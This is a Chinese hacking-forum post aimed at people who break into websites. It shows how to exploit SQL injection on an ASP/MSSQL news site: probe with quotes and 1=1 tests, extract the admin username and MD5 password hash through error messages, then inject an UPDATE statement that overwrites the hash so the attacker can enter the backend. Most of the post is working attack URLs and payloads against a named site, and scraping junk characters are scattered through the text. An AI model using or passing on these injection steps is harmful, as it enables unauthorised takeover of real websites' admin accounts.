经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。
. e2 F3 h$ h0 b7 ~) Q可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL); c/ e* {; y4 w) c% s( K" f
测试如下：
/ r; [8 x! s2 U; D' m0 Lhttp://www.tmdsb.com/news.asp?id=121
" @/ C- y( I( P( q8 b在地址后输入单引号，显示$ A+ ]* x' S0 U4 b0 I2 \& I) D
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
7 U7 c( \% _1 n( S" |- [字符串 ’’’ 之前有未闭合的引号
4 u1 F! e$ f I8 g& J( B, D/news/tmdws.asp，行63
) f& o$ ^# I* \& U6 S说明没有过滤单引号且数据库是MSSQL.; k5 W9 C/ i7 G; e9 v- o$ a
and 1=1正常。and 1=2出错。肯定存在注入
! O1 Q# |) }" J; \) W$ w3 G接着输入
) t# j6 G+ E3 o4 B+ C3 ^http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
' O1 \' O6 |5 i8 |得到帐号为:admin" U9 M1 U$ a( T/ n, y: P
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)
( _. }# C6 @3 |5 E1 J得到密码为:a4716077c2ba075c
/ _5 k& D# k# ]+ d% ^5 B& J9 N5 z( B) n接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433
, x2 @ D7 y' [' h. b* W. |+ M命令如下 : R9 m, o, C3 |7 R3 i: f
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
8 D0 J8 W. p4 |4 o这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41